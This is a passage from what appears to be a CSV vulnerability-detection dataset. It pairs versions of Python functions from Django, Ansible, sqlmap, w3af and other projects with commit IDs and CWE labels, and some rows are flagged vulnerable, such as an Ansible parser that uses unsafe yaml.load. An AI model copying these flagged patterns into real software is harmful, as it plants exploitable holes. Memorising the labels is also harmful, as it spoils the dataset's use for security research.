        m.add_byte(byte_chr(100))
        m.add_int(100)
        m.add_int(1)
        m.add_int(900)
        wsock.send = lambda x: 0
        from functools import wraps
        import errno
        import os
        import signal

        class TimeoutError(Exception):
            pass

        def timeout(seconds=1, error_message=os.strerror(errno.ETIME)):
            def decorator(func):
                def _handle_timeout(signum, frame):
                    raise TimeoutError(error_message)

                def wrapper(*args, **kwargs):
                    signal.signal(signal.SIGALRM, _handle_timeout)
                    signal.alarm(seconds)
                    try:
                        result = func(*args, **kwargs)
                    finally:
                        signal.alarm(0)
                    return result

                return wraps(func)(wrapper)

            return decorator
        send = timeout()(p.send_message)
        self.assertRaises(EOFError, send, m)"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,w3af/core/controllers/chrome/instrumented/main.py,0,"def focus(self, selector):
        """"""
        Sets focus to the given selector, when using the browser with a UI this
        is achieved by clicking on the <input> or <textarea> tag.

        https://chromedevtools.github.io/devtools-protocol/tot/DOM#method-querySelectorAll
        https://chromedevtools.github.io/devtools-protocol/tot/DOM#method-focus

        :param selector: The CSS selector pointing to the HTML tag to focus on
        :return: True if chrome was able to focus on the selector
        """"""
        node_id = self.get_dom_document_node_id()

        if node_id is None:
            return False

        result = self.chrome_conn.DOM.querySelectorAll(nodeId=node_id,
                                                       selector=selector)

        # This is a rare case where the API call failed
        if result is None:
            return None

        node_ids = result.get('result', {}).get('nodeIds')

        if not node_ids:
            msg = ('The call to chrome.focus() failed.'
                   ' CSS selector ""%s"" returned no nodes (did: %s)')
            args = (selector, self.debugging_id)
            om.out.debug(msg % args)
            return False

        if len(node_ids) > 1:
            msg = ('The call to chrome.focus() failed.'
                   ' CSS selector ""%s"" returned more than one node (did: %s)')
            args = (selector, self.debugging_id)
            om.out.debug(msg % args)
            return False

        node_id = node_ids[0]

        result = self.chrome_conn.DOM.focus(nodeId=node_id)

        # This is a rare case where the API call failed
        if result is None:
            return False

        return True",,andresriancho/w3af,8d520bc067455089a9fccac9c395f9114f521e8a,"def focus(self, selector):
        """"""
        Sets focus to the given selector, when using the browser with a UI this
        is achieved by clicking on the <input> or <textarea> tag.

        https://chromedevtools.github.io/devtools-protocol/tot/DOM#method-querySelectorAll
        https://chromedevtools.github.io/devtools-protocol/tot/DOM#method-focus

        :param selector: The CSS selector pointing to the HTML tag to focus on
        :return: True if chrome was able to focus on the selector
        """"""
        node_id = self.get_dom_document_node_id()

        if node_id is None:
            return False

        result = self.chrome_conn.DOM.querySelectorAll(nodeId=node_id,
                                                       selector=selector)

        # This is a rare case where the API call failed
        if result is None:
            return None

        node_ids = result.get('result', {}).get('nodeIds', None)

        if node_ids is None:
            msg = ('The call to chrome.focus() failed.'
                   ' CSS selector ""%s"" returned no nodes (did: %s)')
            args = (selector, self.debugging_id)
            om.out.debug(msg % args)
            return False

        if len(node_ids) > 1:
            msg = ('The call to chrome.focus() failed.'
                   ' CSS selector ""%s"" returned more than one node (did: %s)')
            args = (selector, self.debugging_id)
            om.out.debug(msg % args)
            return False

        node_id = node_ids[0]

        result = self.chrome_conn.DOM.focus(nodeId=node_id)

        # This is a rare case where the API call failed
        if result is None:
            return False

        return True"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,django/contrib/gis/gdal/feature.py,0,"def __del__(self):
        ""Releases a reference to this object.""
        if self._ptr: destroy_feature(self._ptr)",CWE-Unknown,django/django,f23597cdd75f4aa48d4ec1a7fcb543b3e1c1feca,"def __del__(self):
        ""Releases a reference to this object.""
        if self._ptr: destroy_feature(self._ptr)"
,UNKNOWN,UNKNOWN,django/db/backends/schema.py,1,"def _alter_field(self, model, old_field, new_field, old_type, new_type, old_db_params, new_db_params, strict=False):
        """"""Actually perform a ""physical"" (non-ManyToMany) field update.""""""

        # Drop any FK constraints, we'll remake them later
        fks_dropped = set()
        if old_field.rel and old_field.db_constraint:
            fk_names = self._constraint_names(model, [old_field.column], foreign_key=True)
            if strict and len(fk_names) != 1:
                raise ValueError(""Found wrong number (%s) of foreign key constraints for %s.%s"" % (
                    len(fk_names),
                    model._meta.db_table,
                    old_field.column,
                ))
            for fk_name in fk_names:
                fks_dropped.add((old_field.column,))
                self.execute(self._delete_constraint_sql(self.sql_delete_fk, model, fk_name))
        # Has unique been removed?
        if old_field.unique and (not new_field.unique or (not old_field.primary_key and new_field.primary_key)):
            # Find the unique constraint for this field
            constraint_names = self._constraint_names(model, [old_field.column], unique=True)
            if strict and len(constraint_names) != 1:
                raise ValueError(""Found wrong number (%s) of unique constraints for %s.%s"" % (
                    len(constraint_names),
                    model._meta.db_table,
                    old_field.column,
                ))
            for constraint_name in constraint_names:
                self.execute(self._delete_constraint_sql(self.sql_delete_unique, model, constraint_name))
        # Drop incoming FK constraints if we're a primary key and things are going
        # to change.
        if old_field.primary_key and new_field.primary_key and old_type != new_type:
            for rel in new_field.model._meta.get_all_related_objects():
                rel_fk_names = self._constraint_names(rel.model, [rel.field.column], foreign_key=True)
                for fk_name in rel_fk_names:
                    self.execute(self._delete_constraint_sql(self.sql_delete_fk, rel.model, fk_name))
        # Removed an index? (no strict check, as multiple indexes are possible)
        if (old_field.db_index and not new_field.db_index and
                not old_field.unique and not
                (not new_field.unique and old_field.unique)):
            # Find the index for this field
            index_names = self._constraint_names(model, [old_field.column], index=True)
            for index_name in index_names:
                self.execute(self._delete_constraint_sql(self.sql_delete_index, model, index_name))
        # Change check constraints?
        if old_db_params['check'] != new_db_params['check'] and old_db_params['check']:
            constraint_names = self._constraint_names(model, [old_field.column], check=True)
            if strict and len(constraint_names) != 1:
                raise ValueError(""Found wrong number (%s) of check constraints for %s.%s"" % (
                    len(constraint_names),
                    model._meta.db_table,
                    old_field.column,
                ))
            for constraint_name in constraint_names:
                self.execute(self._delete_constraint_sql(self.sql_delete_check, model, constraint_name))
        # Have they renamed the column?
        if old_field.column != new_field.column:
            self.execute(self.sql_rename_column % {
                ""table"": self.quote_name(model._meta.db_table),
                ""old_column"": self.quote_name(old_field.column),
                ""new_column"": self.quote_name(new_field.column),
                ""type"": new_type,
            })
        # Next, start accumulating actions to do
        actions = []
        null_actions = []
        post_actions = []
        # Type change?
        if old_type != new_type:
            fragment, other_actions = self._alter_column_type_sql(model._meta.db_table, new_field.column, new_type)
            actions.append(fragment)
            post_actions.extend(other_actions)
        # When changing a column NULL constraint to NOT NULL with a given
        # default value, we need to perform 4 steps:
        #  1. Add a default for new incoming writes
        #  2. Update existing NULL rows with new default
        #  3. Replace NULL constraint with NOT NULL
        #  4. Drop the default again.
        # Default change?
        old_default = self.effective_default(old_field)
        new_default = self.effective_default(new_field)
        needs_database_default = (
            old_default != new_default and
            new_default is not None and
            not self.skip_default(new_field)
        )
        if needs_database_default:
            if self.connection.features.requires_literal_defaults:
                # Some databases can't take defaults as a parameter (oracle)
                # If this is the case, the individual schema backend should
                # implement prepare_default
                actions.append((
                    self.sql_alter_column_default % {
                        ""column"": self.quote_name(new_field.column),
                        ""default"": self.prepare_default(new_default),
                    },
                    [],
                ))
            else:
                actions.append((
                    self.sql_alter_column_default % {
                        ""column"": self.quote_name(new_field.column),
                        ""default"": ""%s"",
                    },
                    [new_default],
                ))
        # Nullability change?
        if old_field.null != new_field.null:
            if new_field.null:
                null_actions.append((
                    self.sql_alter_column_null % {
                        ""column"": self.quote_name(new_field.column),
                        ""type"": new_type,
                    },
                    [],
                ))
            else:
                null_actions.append((
                    self.sql_alter_column_not_null % {
                        ""column"": self.quote_name(new_field.column),
                        ""type"": new_type,
                    },
                    [],
                ))
        # Only if we have a default and there is a change from NULL to NOT NULL
        four_way_default_alteration = (
            new_field.has_default() and
            (old_field.null and not new_field.null)
        )
        if actions or null_actions:
            if not four_way_default_alteration:
                # If we don't have to do a 4-way default alteration we can
                # directly run a (NOT) NULL alteration
                actions = actions + null_actions
            # Combine actions together if we can (e.g. postgres)
            if self.connection.features.supports_combined_alters and actions:
                sql, params = tuple(zip(*actions))
                actions = [("", "".join(sql), reduce(operator.add, params))]
            # Apply those actions
            for sql, params in actions:
                self.execute(
                    self.sql_alter_column % {
                        ""table"": self.quote_name(model._meta.db_table),
                        ""changes"": sql,
                    },
                    params,
                )
            if four_way_default_alteration:
                # Update existing rows with default value
                self.execute(
                    self.sql_update_with_default % {
                        ""table"": self.quote_name(model._meta.db_table),
                        ""column"": self.quote_name(new_field.column),
                        ""default"": ""%s"",
                    },
                    [new_default],
                )
                # Since we didn't run a NOT NULL change before we need to do it
                # now
                for sql, params in null_actions:
                    self.execute(
                        self.sql_alter_column % {
                            ""table"": self.quote_name(model._meta.db_table),
                            ""changes"": sql,
                        },
                        params,
                    )
        if post_actions:
            for sql, params in post_actions:
                self.execute(sql, params)
        # Added a unique?
        if not old_field.unique and new_field.unique:
            self.execute(self._create_unique_sql(model, [new_field.column]))
        # Added an index?
        if (not old_field.db_index and new_field.db_index and
                not new_field.unique and not
                (not old_field.unique and new_field.unique)):
            self.execute(self._create_index_sql(model, [new_field], suffix=""_uniq""))
        # Type alteration on primary key? Then we need to alter the column
        # referring to us.
        rels_to_update = []
        if old_field.primary_key and new_field.primary_key and old_type != new_type:
            rels_to_update.extend(new_field.model._meta.get_all_related_objects())
        # Changed to become primary key?
        # Note that we don't detect unsetting of a PK, as we assume another field
        # will always come along and replace it.
        if not old_field.primary_key and new_field.primary_key:
            # First, drop the old PK
            constraint_names = self._constraint_names(model, primary_key=True)
            if strict and len(constraint_names) != 1:
                raise ValueError(""Found wrong number (%s) of PK constraints for %s"" % (
                    len(constraint_names),
                    model._meta.db_table,
                ))
            for constraint_name in constraint_names:
                self.execute(self._delete_constraint_sql(self.sql_delete_pk, model, constraint_name))
            # Make the new one
            self.execute(
                self.sql_create_pk % {
                    ""table"": self.quote_name(model._meta.db_table),
                    ""name"": self.quote_name(self._create_index_name(model, [new_field.column], suffix=""_pk"")),
                    ""columns"": self.quote_name(new_field.column),
                }
            )
            # Update all referencing columns
            rels_to_update.extend(new_field.model._meta.get_all_related_objects())
        # Handle our type alters on the other end of rels from the PK stuff above
        for rel in rels_to_update:
            rel_db_params = rel.field.db_parameters(connection=self.connection)
            rel_type = rel_db_params['type']
            self.execute(
                self.sql_alter_column % {
                    ""table"": self.quote_name(rel.model._meta.db_table),
                    ""changes"": self.sql_alter_column_type % {
                        ""column"": self.quote_name(rel.field.column),
                        ""type"": rel_type,
                    }
                }
            )
        # Does it have a foreign key?
        if new_field.rel and \
           (fks_dropped or (old_field.rel and not old_field.db_constraint)) and \
           new_field.db_constraint:
            self.execute(self._create_fk_sql(model, new_field, ""_fk_%(to_table)s_%(to_column)s""))
        # Rebuild FKs that pointed to us if we previously had to drop them
        if old_field.primary_key and new_field.primary_key and old_type != new_type:
            for rel in new_field.model._meta.get_all_related_objects():
                self.execute(self._create_fk_sql(rel.model, rel.field, ""_fk""))
        # Does it have check constraints we need to add?
        if old_db_params['check'] != new_db_params['check'] and new_db_params['check']:
            self.execute(
                self.sql_create_check % {
                    ""table"": self.quote_name(model._meta.db_table),
                    ""name"": self.quote_name(self._create_index_name(model, [new_field.column], suffix=""_check"")),
                    ""column"": self.quote_name(new_field.column),
                    ""check"": new_db_params['check'],
                }
            )
        # Drop the default if we need to
        # (Django usually does not use in-database defaults)
        if needs_database_default:
            sql = self.sql_alter_column % {
                ""table"": self.quote_name(model._meta.db_table),
                ""changes"": self.sql_alter_column_no_default % {
                    ""column"": self.quote_name(new_field.column),
                }
            }
            self.execute(sql)
        # Reset connection if required
        if self.connection.features.connection_persists_old_columns:
            self.connection.close()",CWE-89,django/django,db2a97870d74bc689428d9c2a942115ef799f2d2,"def _alter_field(self, model, old_field, new_field, old_type, new_type, old_db_params, new_db_params, strict=False):
        """"""Actually perform a ""physical"" (non-ManyToMany) field update.""""""

        # Has unique been removed?
        if old_field.unique and (not new_field.unique or (not old_field.primary_key and new_field.primary_key)):
            # Find the unique constraint for this field
            constraint_names = self._constraint_names(model, [old_field.column], unique=True)
            if strict and len(constraint_names) != 1:
                raise ValueError(""Found wrong number (%s) of unique constraints for %s.%s"" % (
                    len(constraint_names),
                    model._meta.db_table,
                    old_field.column,
                ))
            for constraint_name in constraint_names:
                self.execute(self._delete_constraint_sql(self.sql_delete_unique, model, constraint_name))
        # Drop any FK constraints, we'll remake them later
        fks_dropped = set()
        if old_field.rel and old_field.db_constraint:
            fk_names = self._constraint_names(model, [old_field.column], foreign_key=True)
            if strict and len(fk_names) != 1:
                raise ValueError(""Found wrong number (%s) of foreign key constraints for %s.%s"" % (
                    len(fk_names),
                    model._meta.db_table,
                    old_field.column,
                ))
            for fk_name in fk_names:
                fks_dropped.add((old_field.column,))
                self.execute(self._delete_constraint_sql(self.sql_delete_fk, model, fk_name))
        # Drop incoming FK constraints if we're a primary key and things are going
        # to change.
        if old_field.primary_key and new_field.primary_key and old_type != new_type:
            for rel in new_field.model._meta.get_all_related_objects():
                rel_fk_names = self._constraint_names(rel.model, [rel.field.column], foreign_key=True)
                for fk_name in rel_fk_names:
                    self.execute(self._delete_constraint_sql(self.sql_delete_fk, rel.model, fk_name))
        # Removed an index? (no strict check, as multiple indexes are possible)
        if (old_field.db_index and not new_field.db_index and
                not old_field.unique and not
                (not new_field.unique and old_field.unique)):
            # Find the index for this field
            index_names = self._constraint_names(model, [old_field.column], index=True)
            for index_name in index_names:
                self.execute(self._delete_constraint_sql(self.sql_delete_index, model, index_name))
        # Change check constraints?
        if old_db_params['check'] != new_db_params['check'] and old_db_params['check']:
            constraint_names = self._constraint_names(model, [old_field.column], check=True)
            if strict and len(constraint_names) != 1:
                raise ValueError(""Found wrong number (%s) of check constraints for %s.%s"" % (
                    len(constraint_names),
                    model._meta.db_table,
                    old_field.column,
                ))
            for constraint_name in constraint_names:
                self.execute(self._delete_constraint_sql(self.sql_delete_check, model, constraint_name))
        # Have they renamed the column?
        if old_field.column != new_field.column:
            self.execute(self.sql_rename_column % {
                ""table"": self.quote_name(model._meta.db_table),
                ""old_column"": self.quote_name(old_field.column),
                ""new_column"": self.quote_name(new_field.column),
                ""type"": new_type,
            })
        # Next, start accumulating actions to do
        actions = []
        null_actions = []
        post_actions = []
        # Type change?
        if old_type != new_type:
            fragment, other_actions = self._alter_column_type_sql(model._meta.db_table, new_field.column, new_type)
            actions.append(fragment)
            post_actions.extend(other_actions)
        # When changing a column NULL constraint to NOT NULL with a given
        # default value, we need to perform 4 steps:
        #  1. Add a default for new incoming writes
        #  2. Update existing NULL rows with new default
        #  3. Replace NULL constraint with NOT NULL
        #  4. Drop the default again.
        # Default change?
        old_default = self.effective_default(old_field)
        new_default = self.effective_default(new_field)
        needs_database_default = (
            old_default != new_default and
            new_default is not None and
            not self.skip_default(new_field)
        )
        if needs_database_default:
            if self.connection.features.requires_literal_defaults:
                # Some databases can't take defaults as a parameter (oracle)
                # If this is the case, the individual schema backend should
                # implement prepare_default
                actions.append((
                    self.sql_alter_column_default % {
                        ""column"": self.quote_name(new_field.column),
                        ""default"": self.prepare_default(new_default),
                    },
                    [],
                ))
            else:
                actions.append((
                    self.sql_alter_column_default % {
                        ""column"": self.quote_name(new_field.column),
                        ""default"": ""%s"",
                    },
                    [new_default],
                ))
        # Nullability change?
        if old_field.null != new_field.null:
            if new_field.null:
                null_actions.append((
                    self.sql_alter_column_null % {
                        ""column"": self.quote_name(new_field.column),
                        ""type"": new_type,
                    },
                    [],
                ))
            else:
                null_actions.append((
                    self.sql_alter_column_not_null % {
                        ""column"": self.quote_name(new_field.column),
                        ""type"": new_type,
                    },
                    [],
                ))
        # Only if we have a default and there is a change from NULL to NOT NULL
        four_way_default_alteration = (
            new_field.has_default() and
            (old_field.null and not new_field.null)
        )
        if actions or null_actions:
            if not four_way_default_alteration:
                # If we don't have to do a 4-way default alteration we can
                # directly run a (NOT) NULL alteration
                actions = actions + null_actions
            # Combine actions together if we can (e.g. postgres)
            if self.connection.features.supports_combined_alters and actions:
                sql, params = tuple(zip(*actions))
                actions = [("", "".join(sql), reduce(operator.add, params))]
            # Apply those actions
            for sql, params in actions:
                self.execute(
                    self.sql_alter_column % {
                        ""table"": self.quote_name(model._meta.db_table),
                        ""changes"": sql,
                    },
                    params,
                )
            if four_way_default_alteration:
                # Update existing rows with default value
                self.execute(
                    self.sql_update_with_default % {
                        ""table"": self.quote_name(model._meta.db_table),
                        ""column"": self.quote_name(new_field.column),
                        ""default"": ""%s"",
                    },
                    [new_default],
                )
                # Since we didn't run a NOT NULL change before we need to do it
                # now
                for sql, params in null_actions:
                    self.execute(
                        self.sql_alter_column % {
                            ""table"": self.quote_name(model._meta.db_table),
                            ""changes"": sql,
                        },
                        params,
                    )
        if post_actions:
            for sql, params in post_actions:
                self.execute(sql, params)
        # Added a unique?
        if not old_field.unique and new_field.unique:
            self.execute(self._create_unique_sql(model, [new_field.column]))
        # Added an index?
        if (not old_field.db_index and new_field.db_index and
                not new_field.unique and not
                (not old_field.unique and new_field.unique)):
            self.execute(self._create_index_sql(model, [new_field], suffix=""_uniq""))
        # Type alteration on primary key? Then we need to alter the column
        # referring to us.
        rels_to_update = []
        if old_field.primary_key and new_field.primary_key and old_type != new_type:
            rels_to_update.extend(new_field.model._meta.get_all_related_objects())
        # Changed to become primary key?
        # Note that we don't detect unsetting of a PK, as we assume another field
        # will always come along and replace it.
        if not old_field.primary_key and new_field.primary_key:
            # First, drop the old PK
            constraint_names = self._constraint_names(model, primary_key=True)
            if strict and len(constraint_names) != 1:
                raise ValueError(""Found wrong number (%s) of PK constraints for %s"" % (
                    len(constraint_names),
                    model._meta.db_table,
                ))
            for constraint_name in constraint_names:
                self.execute(self._delete_constraint_sql(self.sql_delete_pk, model, constraint_name))
            # Make the new one
            self.execute(
                self.sql_create_pk % {
                    ""table"": self.quote_name(model._meta.db_table),
                    ""name"": self.quote_name(self._create_index_name(model, [new_field.column], suffix=""_pk"")),
                    ""columns"": self.quote_name(new_field.column),
                }
            )
            # Update all referencing columns
            rels_to_update.extend(new_field.model._meta.get_all_related_objects())
        # Handle our type alters on the other end of rels from the PK stuff above
        for rel in rels_to_update:
            rel_db_params = rel.field.db_parameters(connection=self.connection)
            rel_type = rel_db_params['type']
            self.execute(
                self.sql_alter_column % {
                    ""table"": self.quote_name(rel.model._meta.db_table),
                    ""changes"": self.sql_alter_column_type % {
                        ""column"": self.quote_name(rel.field.column),
                        ""type"": rel_type,
                    }
                }
            )
        # Does it have a foreign key?
        if new_field.rel and \
           (fks_dropped or (old_field.rel and not old_field.db_constraint)) and \
           new_field.db_constraint:
            self.execute(self._create_fk_sql(model, new_field, ""_fk_%(to_table)s_%(to_column)s""))
        # Rebuild FKs that pointed to us if we previously had to drop them
        if old_field.primary_key and new_field.primary_key and old_type != new_type:
            for rel in new_field.model._meta.get_all_related_objects():
                self.execute(self._create_fk_sql(rel.model, rel.field, ""_fk""))
        # Does it have check constraints we need to add?
        if old_db_params['check'] != new_db_params['check'] and new_db_params['check']:
            self.execute(
                self.sql_create_check % {
                    ""table"": self.quote_name(model._meta.db_table),
                    ""name"": self.quote_name(self._create_index_name(model, [new_field.column], suffix=""_check"")),
                    ""column"": self.quote_name(new_field.column),
                    ""check"": new_db_params['check'],
                }
            )
        # Drop the default if we need to
        # (Django usually does not use in-database defaults)
        if needs_database_default:
            sql = self.sql_alter_column % {
                ""table"": self.quote_name(model._meta.db_table),
                ""changes"": self.sql_alter_column_no_default % {
                    ""column"": self.quote_name(new_field.column),
                }
            }
            self.execute(sql)
        # Reset connection if required
        if self.connection.features.connection_persists_old_columns:
            self.connection.close()"
,UNKNOWN,UNKNOWN,lib/ansible/playbook.py,1,"def _parse_playbook(self, playbook):
        ''' load YAML file, including handling for imported files '''
        
        dirname  = os.path.dirname(playbook)
        playbook = yaml.load(file(playbook).read())

        for play in playbook:
            tasks = play.get('tasks',[])
            handlers = play.get('handlers', [])

            # process tasks in this file as well as imported tasks
            new_tasks = []
            for task in tasks:
                if 'include' in task:
                    self._include_tasks(play, task, dirname, new_tasks)
                else:
                    new_tasks.append(task)
            play['tasks'] = new_tasks

            # process handlers as well as imported handlers
            new_handlers = [] 
            for handler in handlers:
                if 'include' in handler:
                    self._include_handlers(play, handler, dirname, new_handlers)
                else:
                    new_handlers.append(handler)
            play['handlers'] = new_handlers

        return playbook",CWE-20,ansible/ansible,f39944b89b2d7ba02bd95fbefe3299de28f50105,"def _parse_playbook(self, playbook):
        ''' load YAML file, including handling for imported files '''
        
        dirname  = os.path.dirname(playbook)
        playbook = yaml.load(file(playbook).read())

        for play in playbook:
            tasks = play.get('tasks',[])
            handlers = play.get('handlers', [])

            # process tasks in this file as well as imported tasks
            new_tasks = []
            for task in tasks:
               if 'include' in task:
                   self._include_tasks(play, task, dirname, new_tasks)
               else:
                   new_tasks.append(task)
            play['tasks'] = new_tasks

            # process handlers as well as imported handlers
            new_handlers = [] 
            for handler in handlers:
               if 'include' in handler:
                   self._include_handlers(play, handler, dirname, new_handlers)
               else:
                   new_handlers.append(handler)
            play['handlers'] = new_handlers

        return playbook"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,lib/core/agent.py,0,"def payload(self, place=None, parameter=None, value=None, newValue=None, where=None):
        """"""
        This method replaces the affected parameter with the SQL
        injection statement to request
        """"""

        if conf.direct:
            return self.payloadDirect(newValue)

        retVal = """"

        if where is None and isTechniqueAvailable(kb.technique):
            where = kb.injection.data[kb.technique].where

        if kb.injection.place is not None:
            place = kb.injection.place

        if kb.injection.parameter is not None:
            parameter = kb.injection.parameter

        paramString = conf.parameters[place]
        paramDict = conf.paramDict[place]
        origValue = paramDict[parameter]

        if place == PLACE.URI:
            paramString = origValue
            origValue = origValue.split(CUSTOM_INJECTION_MARK_CHAR)[0]
            origValue = origValue[origValue.rfind('/') + 1:]
            for char in ('?', '=', ':'):
                if char in origValue:
                    origValue = origValue[origValue.rfind(char) + 1:]
        elif place == PLACE.CUSTOM_POST:
            paramString = origValue
            origValue = origValue.split(CUSTOM_INJECTION_MARK_CHAR)[0]
            if kb.postHint in (POST_HINT.SOAP, POST_HINT.XML):
                origValue = origValue.split('>')[-1]
            elif kb.postHint == POST_HINT.JSON:
                origValue = extractRegexResult(r""(?s)\""\s*:\s*(?P<result>\d+\Z)"", origValue) or extractRegexResult(r'(?s)(?P<result>[^""]+\Z)', origValue)
            else:
                _ = extractRegexResult(r""(?s)(?P<result>[^\s<>{}();'\""]+\Z)"", origValue) or """"
                origValue = _.split('=', 1)[1] if '=' in _ else """"
        elif place == PLACE.CUSTOM_HEADER:
            paramString = origValue
            origValue = origValue.split(CUSTOM_INJECTION_MARK_CHAR)[0]
            origValue = origValue[origValue.index(',') + 1:]

        if value is None:
            if where == PAYLOAD.WHERE.ORIGINAL:
                value = origValue
            elif where == PAYLOAD.WHERE.NEGATIVE:
                if conf.invalidLogical:
                    match = re.search(r'\A[^ ]+', newValue)
                    newValue = newValue[len(match.group() if match else """"):]
                    _ = randomInt(2)
                    value = ""%s%s AND %s=%s"" % (origValue, match.group() if match else """", _, _ + 1)
                elif conf.invalidBignum:
                    value = ""%d.%d"" % (randomInt(6), randomInt(1))
                else:
                    if newValue.startswith(""-""):
                        value = """"
                    else:
                        value = ""-%s"" % randomInt()
            elif where == PAYLOAD.WHERE.REPLACE:
                value = """"
            else:
                value = origValue

            newValue = ""%s%s"" % (value, newValue)

        newValue = self.cleanupPayload(newValue, origValue)

        if place in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER):
            _ = ""%s%s"" % (origValue, CUSTOM_INJECTION_MARK_CHAR)
            if kb.postHint == POST_HINT.JSON and not isNumber(newValue) and not '""%s""' % _ in paramString:
                newValue = '""%s""' % newValue
            newValue = newValue.replace(CUSTOM_INJECTION_MARK_CHAR, REPLACEMENT_MARKER)
            retVal = paramString.replace(_, self.addPayloadDelimiters(newValue))
            retVal = retVal.replace(CUSTOM_INJECTION_MARK_CHAR, """").replace(REPLACEMENT_MARKER, CUSTOM_INJECTION_MARK_CHAR)
        elif place in (PLACE.USER_AGENT, PLACE.REFERER, PLACE.HOST):
            retVal = paramString.replace(origValue, self.addPayloadDelimiters(newValue))
        else:
            retVal = re.sub(r""(\A|\b)%s=%s"" % (re.escape(parameter), re.escape(origValue)), ""%s=%s"" % (parameter, self.addPayloadDelimiters(newValue.replace(""\\"", ""\\\\""))), paramString)

        return retVal",,sqlmapproject/sqlmap,dd2ddec79a6de708b834062b45c75ff901cc4d03,"def payload(self, place=None, parameter=None, value=None, newValue=None, where=None):
        """"""
        This method replaces the affected parameter with the SQL
        injection statement to request
        """"""

        if conf.direct:
            return self.payloadDirect(newValue)

        retVal = """"

        if where is None and isTechniqueAvailable(kb.technique):
            where = kb.injection.data[kb.technique].where

        if kb.injection.place is not None:
            place = kb.injection.place

        if kb.injection.parameter is not None:
            parameter = kb.injection.parameter

        paramString = conf.parameters[place]
        paramDict = conf.paramDict[place]
        origValue = paramDict[parameter]

        if place == PLACE.URI:
            paramString = origValue
            origValue = origValue.split(CUSTOM_INJECTION_MARK_CHAR)[0]
            origValue = origValue[origValue.rfind('/') + 1:]
            for char in ('?', '=', ':'):
                if char in origValue:
                    origValue = origValue[origValue.rfind(char) + 1:]
        elif place == PLACE.CUSTOM_POST:
            paramString = origValue
            origValue = origValue.split(CUSTOM_INJECTION_MARK_CHAR)[0]
            if kb.postHint in (POST_HINT.SOAP, POST_HINT.XML):
                origValue = origValue.split('>')[-1]
            elif kb.postHint == POST_HINT.JSON:
                origValue = extractRegexResult(r""(?s)\""\s*:\s*(?P<result>\d+\Z)"", origValue) or extractRegexResult(r'(?s)(?P<result>[^""]+\Z)', origValue)
            else:
                origValue = extractRegexResult(r""(?s)(?P<result>[^\s<>{}();'\""]+\Z)"", origValue) or """"
        elif place == PLACE.CUSTOM_HEADER:
            paramString = origValue
            origValue = origValue.split(CUSTOM_INJECTION_MARK_CHAR)[0]
            origValue = origValue[origValue.index(',') + 1:]

        if value is None:
            if where == PAYLOAD.WHERE.ORIGINAL:
                value = origValue
            elif where == PAYLOAD.WHERE.NEGATIVE:
                if conf.invalidLogical:
                    match = re.search(r'\A[^ ]+', newValue)
                    newValue = newValue[len(match.group() if match else """"):]
                    _ = randomInt(2)
                    value = ""%s%s AND %s=%s"" % (origValue, match.group() if match else """", _, _ + 1)
                elif conf.invalidBignum:
                    value = ""%d.%d"" % (randomInt(6), randomInt(1))
                else:
                    if newValue.startswith(""-""):
                        value = """"
                    else:
                        value = ""-%s"" % randomInt()
            elif where == PAYLOAD.WHERE.REPLACE:
                value = """"
            else:
                value = origValue

            newValue = ""%s%s"" % (value, newValue)

        newValue = self.cleanupPayload(newValue, origValue)

        if place in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER):
            _ = ""%s%s"" % (origValue, CUSTOM_INJECTION_MARK_CHAR)
            if kb.postHint == POST_HINT.JSON and not isNumber(newValue) and not '""%s""' % _ in paramString:
                newValue = '""%s""' % newValue
            newValue = newValue.replace(CUSTOM_INJECTION_MARK_CHAR, REPLACEMENT_MARKER)
            retVal = paramString.replace(_, self.addPayloadDelimiters(newValue))
            retVal = retVal.replace(CUSTOM_INJECTION_MARK_CHAR, """").replace(REPLACEMENT_MARKER, CUSTOM_INJECTION_MARK_CHAR)
        elif place in (PLACE.USER_AGENT, PLACE.REFERER, PLACE.HOST):
            retVal = paramString.replace(origValue, self.addPayloadDelimiters(newValue))
        else:
            retVal = re.sub(r""(\A|\b)%s=%s"" % (re.escape(parameter), re.escape(origValue)), ""%s=%s"" % (parameter, self.addPayloadDelimiters(newValue.replace(""\\"", ""\\\\""))), paramString)

        return retVal"
functions_for_jupyter_with_cwe.csv,UNKNOWN,UNKNOWN,notebook/services/api/handlers.py,0,"def get(self):
        self.log.debug(""Serving api"")
        self.set_header('Content-Type', 'text/x-yaml')
        return web.StaticFileHandler.get(self, 'api.yaml')",,jupyter/notebook,1f6a3700a22cc798ec52a9c28fd87a75ce7819f7,"def get(self):
        self.log.debug(""Serving api"")
        self.set_header('Content-Type', 'text/x-yaml')
        return web.StaticFileHandler.get(self, 'api.yaml')"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/module_utils/service.py,0,"def sysv_is_enabled(name, runlevel=None):
    '''
    This function will check if the service name supplied
    is enabled in any of the sysv runlevels

    :arg name: name of the service to test for
    :kw runlevel: runlevel to check (default: None)
    '''
    if runlevel:
        if not os.path.isdir('/etc/rc0.d/'):
            return bool(glob.glob('/etc/init.d/rc%s.d/S??%s' % (runlevel, name)))
        return bool(glob.glob('/etc/rc%s.d/S??%s' % (runlevel, name)))
    else:
        if not os.path.isdir('/etc/rc0.d/'):
            return bool(glob.glob('/etc/init.d/rc?.d/S??%s' % name))
        return bool(glob.glob('/etc/rc?.d/S??%s' % name))",,ansible/ansible,2d6ba872ce152d055293d803b1264c50e1e13b29,"def sysv_is_enabled(name, runlevel=None):
    '''
    This function will check if the service name supplied
    is enabled in any of the sysv runlevels

    :arg name: name of the service to test for
    :kw runlevel: runlevel to check (default: None)
    '''
    if runlevel:
        return bool(glob.glob('/etc/rc%s.d/S??%s' % (runlevel, name)))
    else:
        return bool(glob.glob('/etc/rc?.d/S??%s' % name))"
functions_for_paramiko_with_cwe.csv,UNKNOWN,UNKNOWN,paramiko/hostkeys.py,0,"def from_line(cls, line, lineno=None):
        """"""
        Parses the given line of text to find the names for the host,
        the type of key, and the key data. The line is expected to be in the
        format used by the openssh known_hosts file.

        Lines are expected to not have leading or trailing whitespace.
        We don't bother to check for comments or empty lines.  All of
        that should be taken care of before sending the line to us.

        @param line: a line from an OpenSSH known_hosts file
        @type line: str
        """"""
        log = get_logger('paramiko.hostkeys')
        fields = line.split(' ')
        if len(fields) < 3:
            # Bad number of fields
